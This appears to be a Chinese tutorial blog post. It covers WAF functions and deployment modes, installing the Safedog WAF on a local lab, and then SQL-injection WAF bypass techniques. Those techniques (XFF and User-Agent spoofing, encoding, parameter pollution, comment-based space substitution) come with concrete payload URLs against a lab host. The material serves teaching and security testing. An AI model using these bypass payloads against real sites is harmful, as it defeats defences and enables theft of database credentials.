绕过WAF(Web应用程序防火墙)--介绍、主要功能、部署模式、分类及注入绕过方式等

网站WAF是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能等模块。能够为用户提供实时的网站安全防护,避免各类针对网站的攻击所带来的危害。

一、WAF简介

WAF的全称是(Web Application Firewall)即Web应用防火墙,简称WAF。

 网站WAF是一款服务器安全防护软件,是为IDC运营商、虚拟主机服务商、企业主机、服务器管理者等用户提供服务器安全防范的实用系统,是集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。

常见的系统攻击分为两类:

一是利用Web服务器的漏洞进行攻击,如DDOS攻击、病毒木马破坏等攻击;

二是利用网页自身的安全漏洞进行攻击,如SQL注入攻击跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。

二、WAF主要功能

网马木马主动防御及查杀

网页木马网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90%

流量监控

能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用情况

网站漏洞防御功能

可拦截GET、POST、COOKIES等方式的SQL注入,可对GET、POST、COOKIES分别定义特征码,以及可拦截XSS注入等行为。

危险组件防护功能

全面拦截恶意代码对组件的调用权限,拦截IIS执行恶意程序,保护网站安全

.Net安全保护模块

快捷设置.Net安全模式,禁止.Net执行系统敏感函数,保障网站安全

双层防盗链链接模式

 可以针对不同站点设置防盗链的过滤, 防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接, 则自动重定向到错误处理页面

网站特定资源防下载

支持对doc、mdb、mdf、myd等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载

CC攻击防护

自主研发的独特抗攻击算法,高效的主动防御系统可有效防御CC攻击、流量攻击。

网站流量保护

支持下载流量控制、下载线程控制。采用独创的线程控制和流量控制技术, 大大提高服务器性能, 保护网站流量。

IP黑白名单

全IP黑白名单功能允许用户设置个性化的IP信任列表,直接屏蔽或者允许指定IP访问网站。同时,增加iP临时黑名单功能,以及实现了针对某个功能的iP白名单功能。同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任。


三、WAF的多种部署模式(了解)

WAF一般支持透明代理,反向代理,旁路监控,桥模式部署模式。

3.1、透明代理串接模式:

透明代理串接模式是采用最多的部署模式,防御效果好。

透明代理部署模式支持透明串接部署方式。串接在用户网络中,可实现即插即用,无需用户更改网络设备与服务器配置。部署简单易用,应用于大部分用户网络中。

部署特点:
  1. 不需要改变用户网络结构,对于用户而言是透明的
  2. 安全防护性能强
  3. 故障恢复快,可支持Bypass

3.2、旁路监控模式:

采用旁路监听模式,在交换机做服务器端口镜像,将流量复制一份到WAF上,部署时不影响在线业务。在旁路模式下WAF只会进行告警而不阻断

3.3、反向代理模式:

反向代理又分为两种模式,反向代理(代理模式)与反向代理(牵引模式)。

3.3.1、代理模式:

当外网去访问www.xxx.com时,会解析到110.1.1.1。在网络防火墙FW上,会通过nat-server技术,将110.1.1.1外网地址解析为192.168.1.1的内网地址。而192.168.1.1为WAF的业务口地址,WAF会去访问后端服务器192.168.1.100,将包返回给WAF,WAF再返回给用户,起到了代理作用,隐藏了真正的Web服务器地址。

    部署特点:
  1. 可旁路部署,对于用户网络不透明,防护能力强
  2. 故障恢复时间慢,不支持Bypass,恢复时需要重新将域名或地址映射到原服务器。
  3. 此模式应用于复杂环境中,如设备无法直接串接的环境。
  4. 访问时需要先访问WAF配置的业务口地址。
  5. 支持VRRP主备
3.3.2、 牵引模式:

WAF采用反向代理模式以旁路的方式接入到网络环境中,需要在核心交换机上做策略路由PBR,将客户端访问服务器的流量牵引到WAF上,策略路由的下一跳地址为WAF的业务口地址。

部署特点:
  1. 可旁路部署,对于用户网络不透明。
  2. 故障恢复时间慢,不支持Bypass,恢复时需要删除路由器策略路由配置。
  3. 此模式应用于复杂环境中,如设备无法直接串接的环境。
  4. 访问时仍访问网站服务器

3.4、透明桥模式:

透明桥模式是真正意义上的纯透明,不会改变更改数据包任何内容,比如源端口、TCP序列号,桥模式不跟踪TCP会话,可支持路由不对称环境。


四、防火墙与waf区别**:

简单来说:

4.1、防火墙主要关注网络层的防护,提供基础的访问控制。

4.2、Waf(Web应用程序防火墙)主要用于应用层防护,识别并阻止针对Web应用的特定攻击(如SQL注入、跨站脚本攻击等)


五、市场Waf分类

5.1硬件Waf:

绿盟、安恒、启明、知道创宇等

5.2软件Waf:

安全狗、云锁、中间件自带的Waf模块等

5.3云WAF:

阿里云、安全狗、知道创宇、安恒等


 六、安全狗安装

软件waf安全狗安装步骤:

运行cmd,cd进入apache/bin文件夹目录

cd C:\phpStudy\Apache\bin

 执行httpd.exe -k install -n apache2.4.39

httpd.exe -k install -n apache2.4.39

打开apache,打开安全狗安装包进行安装:

 

 安装完成后点击安装安全狗插件:

点击确认: 

 安装过程不动,任务管理器结束任务,重启软件显示已安装。

 

然后注册登录,正常使用:

打开访问mysql靶场环境,url填写插入sql注入语句:

http://10.0.0.101:90/mysql/sql.php?id=1 and 1=2

waf已生效。(未生效重启phpstudy)

注:拦截规则库:网站防护-漏洞防护设置里


七、WAF的检测方法

首先白名单黑名单身份认证--数据包解析--规则判断--拦截

八、Waf注入绕过方法

8.1、burp安装waf模块

云WAF绕过方法:伪造XFF头为127.0.0.1或找出真实IP绕过

bp安装【Bypass WAF】插件:配置插件

 访问mysql靶场环境。bp抓包:

http://10.0.0.101:90/mysql/sql.php?id=1

放到重发器,发送请求包,请求包会自动添加127.0.0.1: 

尝试url随机加空格进行绕过,等: 


 8.2、通过工具伪造百度、google等user agent头或者伪造白名单特殊目录

常用搜索引擎User-Agent头指纹信息;

百度User-Agent头:

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

Google User-Agent头:

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

 360搜索User-Agent头:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0);

 雅虎中国User-Agent头:

“Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)”

搜狗User-Agent头:

“Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)”

Internet Explorer 8User-Agent头:

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)

也可以用火狐浏览器获取User-Agent头:

 --------------------------

bp抓包批量替换为搜索引擎User_Agent头信息,来实现绕过:


8.3、WAF数据包解析阶段的绕过

(1)编码绕过

最常见的方法之一,可以进行urlencode

如:
http://10.0.0.101:90/mysql/sql.php?id=1 && 1=1
url编码:
http://10.0.0.101:90/mysql/sql.php?id=1%20%26%26%201=1

早期的方法,现在效果不是太好 


(2)修改请求方式绕过

因wsf默认检测url对get请求拦截;cookie和post请求默认不开启,利用这一特点,修改请求方式绕过


(3)复参数绕过

例如一个请求是这样的

GET /pen/news.php?id=1 union select user,password from mysql.user

可以修改为

GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

很多WAF都可以这样绕,测试最新版WAF能绕过部分语句

如:
http://10.0.0.101:90/mysql/sql.php?id=1 and 1=2
修改为:
http://10.0.0.101:90/mysql/sql.php?id=1&id=1=2

4)WAF触发规则的绕过

WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多,也是最有效的。

绕过策略一:特殊字符替换空格

用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:

如:
http://10.0.0.101:90/mysql/sql.php?id=1 and 1=1
修改为:
http://10.0.0.101:90/mysql/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/-1=-1
测试:
http://10.0.0.101:90/mysql/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/-1=-2

说明: /*|%23--%23|*/代替空格;-1代替1(1被waf拦截)

  • /|%23--%23|/ 的作用: 这串字符是通过编码和特殊符号组合来尝试模拟空格或分隔符。在SQL语句中,正常的空格会被用来分隔关键字和参数。但是,当直接使用空格或被WAF识别的常见分隔符时,可能会触发WAF的防护规则。因此,攻击者使用/*开始一个多行注释,接着是URL编码的%23(代表#),#在SQL中用于开始单行注释,最后再用*/尝试结束之前可能未闭合的注释,形成一种混淆,企图让WAF误判或忽略这部分内容。|字符在这里可能被用作自定义的分隔符,尝试在某些情况下绕过规则。

  • -1代替1: 这种替换是为了规避WAF对特定数值或模式的直接拦截。如果WAF被配置为阻止特定查询模式,比如查询字符串中包含数字1可能被认为是潜在的攻击尝试(例如,在尝试枚举数据库时),攻击者会尝试使用其他值或表达式来达到相同目的,同时避免触发WAF的警报。使用-1=-2这样的逻辑表达式,目的是使整个条件始终为假,它的真正意图是测试注入点的有效性,而非执行有效的数据库查询。

-----------------

感谢您阅读至此,更多精彩的内容将在下一篇文章中展开,请继续关注。


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/847159.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java开发:Spring Boot 实战教程

序言 随着技术的快速发展和数字化转型的深入推进,软件开发领域迎来了前所未有的变革。在众多开发框架中,Spring Boot凭借其“约定大于配置”的核心理念和快速开发的能力,迅速崭露头角,成为当今企业级应用开发的首选框架之一。 《…

git拉去代码报错“Failed to connect to 127.0.0.1 port 31181: Connection refused“

最近参与了一个新项目,在使用git clone 克隆代码时遇到了一个报错"fatal: unable to access ‘https://example.git/’: Failed to connect to 127.0.0.1 port 31181: Connection refused",今天就和大家分享下解决过程。 报错详情 在使用git clone 克隆…

【JavaEE】Servlet

文章目录 一、Servlet 是什么二、如何创建Servlet程序1、创建项目2、引入依赖3、创建目录4、编写代码5、打包程序6、部署程序7、验证程序 一、Servlet 是什么 二、如何创建Servlet程序 1、创建项目 2、引入依赖 Maven 项目创建完后,会自动生成一个 pom.xml 的文…

coze自定义插件调用3

1,打开我的空间; 2,编辑,选择快捷指令 3,编辑指令 4,实际测试【输入框多了一个按钮“查询基础信息”,点击查询基础信息,提示输入缴费卡号,提交后如下图】

HTTP --tcp和keep-alive

TCP TCP连接 tcp/ip是全球计算机以及网络设备都在使用的一种常见的分组交换网络分层协议集,客户端可以打开一条tcp/ip连接,连接到可能运行在世界各地的服务器应用程序,一旦连接建立起来了,在客户端和服务器的计算机之间交换的报…

ar地产沙盘互动体验提供更加丰富多彩的楼盘信息

AR增强现实技术作为其重要分支,正逐步在全球市场中崭露头角。国内的AR增强现实技术公司正致力于链接物理世界和虚拟世界,为用户带来沉浸式的AR体验。它们打造线上线下联动的一站式文旅景区数字化运营平台,让您在享受旅游的同时,也…

用容器构建wordpress项目

用容器构建wordpress项目 #准备两个镜像 #数据库和centos docker pull mysql:5.7 docker pull centos:7 #创建一个wordpress文件夹,在wordpress文件里面写一个Dockerfile文件 vim DockerfileFROM centos:7 #基于centos环境RUN yum -y install epel-release ;\ #安装…

vue3状态管理,pinia的使用

​​​​​​​状态管理 我们知道组件与组件之间可以传递信息,那么我们就可以将一个信息作为组件的独立状态(例如,单个组件的颜色)或者共有状态(例如,多个组件是否显示)在组件之传递&#xff0c…

顺序表的讲解与实现

顺序表的讲解与实现 一、顺序表的概念及结构二、顺序表分类顺序表和数组的区别顺序表分类静态顺序表动态顺序表 三、动态顺序表的实现(使用VS2022)1.初始化、销毁、打印内容2.检查扩容3.尾部插入、尾部删除、头部插入、头部删除尾部插入尾部删除头部插入头部删除 4.指定插入、指…

C++ stack类与queue类

目录 0.前言 1.容器适配器 1.1容器适配器的特点 1.2容器适配器的实现 1.3使用容器适配器的场景 2.stack的介绍与使用 2.1介绍 2.2使用 3.queue的介绍与使用 3.1介绍 3.2使用 4.stack和queue的模拟实现 4.1 stack的模拟实现 4.2 queue的模拟实现 5.结语 &#xf…

博客星球大冒险:用Spring Boot和JWT打造你的数字王国

揭秘如何在Spring Boot中无缝集成JWT,为你的应用打造一个高度可扩展且安全的认证系统。从添加依赖到创建JWT过滤器,再到实现令牌的有效性管理和刷新机制,每一步都精心设计,确保你的乐园能够迎接成千上万的游客! 文章目…

LLM主流开源代表模型

LLM主流开源大模型介绍 1 LLM主流大模型类别 随着ChatGPT迅速火爆,引发了大模型的时代变革,国内外各大公司也快速跟进生成式AI市场,近百款大模型发布及应用。 目前,市面上已经开源了各种类型的大语言模型,本章节我们…

【MATLAB源码-第220期】基于matlab的Massive-MIMO误码率随着接收天线变化仿真采用ZF均衡和QPSK调制。

操作环境: MATLAB 2022a 1、算法描述 1. 系统背景与目标 无线通信系统的发展极大地推动了现代通信技术的进步,从移动通信到无线局域网,甚至是物联网,均依赖于无线通信系统的高效和可靠性。在无线通信系统中,核心目…

【kafka】关于Kafka的入门介绍

为什么要使用kafka?kafka是什么东西? 案例场景 A服务向B服务发送消息,A服务传输数据很快,B服务处理数据很慢,这样B服务就会承受不住,怎么办?通过添加消息队列作为缓冲。kafka就是消息队列中的…

初识C++ · 模拟实现stack和Queue

目录 前言: 1 Stack 1.1 双端队列 2 Queue 前言: 经历了list三个自定义类型的洗礼,来个简单的放松放松,即栈和队列: 文档记录的,栈和队列是一种容器适配器,它们不属于stl,但是它…

低空经济发展报告

低空经济是指利用低空空间进行商业开发和经济活动的概念。随着航空技术的发展和无人机的普及,低空经济逐渐成为一个新兴的经济领域。 低空经济可以涵盖的领域非常广泛,包括但不限于物流配送、农业植保、城市交通、旅游观光等。利用无人机等飞行器进行物…

【算法】一文搞懂归并排序

概念 归并排序利用了分治思想,将待排序的数组范围层层划分,每次划分会得到两个大小相近的区间。当无法划分时,递归结束,自下而上进行区间合并merge操作,合并操作依次比较两个区间的元素,进而使合并后的区间…

【西瓜书】5.神经网络

1.概念 有监督学习正向传播:输入样本---输入层---各隐层---输出层反向传播:误差以某种形式在通过隐层向输入层逐层反转,并将误差分摊给各层的所有单元,以用于修正各层的权值激活函数:也叫阶跃函数,目的是引…

Maven 中的 classifier 属性用过没?

最近训练营有小伙伴问到松哥一个关于 Maven 依赖的问题,涉及到 classifier 属性,随机问了几个小伙伴,都说工作中没用到过,因此简单整篇文章和小伙伴们分享下。 Maven 大家日常开发应该都有使用,Maven 中有一个比较好玩…

最小二乘法算法(个人总结版)

最小二乘法(Least Squares Method)是一种通过最小化误差平方和来拟合数据的回归分析方法。它被广泛应用于线性回归、多元回归以及其他数据拟合问题中。以下是详细的教程,涵盖基本概念、数学推导、具体步骤和实现代码。 1. 最小二乘法基本概念…